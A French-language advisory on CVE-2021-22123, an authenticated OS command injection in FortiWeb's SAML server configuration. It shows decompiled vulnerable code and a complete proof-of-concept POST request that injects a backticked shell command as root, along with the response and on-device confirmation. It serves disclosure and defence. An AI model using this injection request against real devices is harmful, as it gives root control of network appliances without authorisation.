
[CVE-2021-22123] Fortinet FortiWeb Injection de commandes OS authentifiée
[CVE-2021-22123] Injection de commandes OS authentifiée dans Fortinet FortiWeb
Hit Counter
La vulnérabilité d'injection de commandes dans l'interface d'administration de FortiWeb peut permettre à un attaquant distant authentifié d'exécuter des commandes arbitraires sur le système via la page de configuration du serveur SAML. L'exécution de commandes avec les privilèges maximaux se traduira par l'obtention par l'attaquant du contrôle total du serveur. Il s'agit d'une instance de CWE-78: Neutralisation incorrecte des éléments spéciaux utilisés dans une commande OS et elle a un score de base CVSSv3 de 8,7. Cette vulnérabilité porte le numéro CVE-2021-22123, qui a été traitée dans la page du laboratoire Fortiguard (FG-IR-20-120).
Globalement, SAML signifie Security Assertion Markup Language et c'est un standard ouvert basé sur XML pour transférer des données d'identité entre deux parties : un fournisseur d'identité (IdP) et un fournisseur de services (SP). Il est conçu pour garantir le fonctionnement d'un mécanisme d'authentification unique (Single Sign-On), qui vous permet d'accéder à divers logiciels à l'aide d'un identifiant unique.
FortiWeb all versions prior to 6.3.7 et versions inférieures sont vulnérables à l'injection de commandes OS authentifiée. L'exploitation réussie de cette vulnérabilité peut conduire à prendre le contrôle total de l'appareil concerné, avec les privilèges les plus élevés possibles. Ils pourraient installer un shell persistant, un logiciel de minage de cryptomonnaies ou d'autres logiciels malveillants. Dans le cas improbable où l'interface d'administration serait exposée à Internet, ils pourraient utiliser la plateforme compromise pour atteindre le réseau concerné au-delà de la DMZ.
Un attaquant, d'abord authentifié à l'interface d'administration de l'appareil FortiWeb, peut faire passer des commandes en utilisant des backticks dans le champ name de la page de configuration du serveur SAML. Ces commandes sont ensuite exécutées en tant qu'utilisateur root du système d'exploitation sous-jacent. La partie vulnérable du code est illustrée ci-dessous.
int move_metafile(char * path, char * name) {
int iVar1;
char buf[512];
int nret;
snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = access(buf, 0);
if (iVar1 != 0) {
snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
"Metadata", & DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
Preuve de concept (PoC) : La requête POST suivante peut être utilisée pour exploiter cette vulnérabilité.
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
Enfin, les résultats de la commande « touch » peuvent être observés sur la ligne de commande locale de l'appareil FortiWeb
/# ls -l /tmp/CVE-2021-22123
-rw-r--r-- 1 root 0 0 Aug 10 15:48 /tmp/CVE-2021-22123
Références :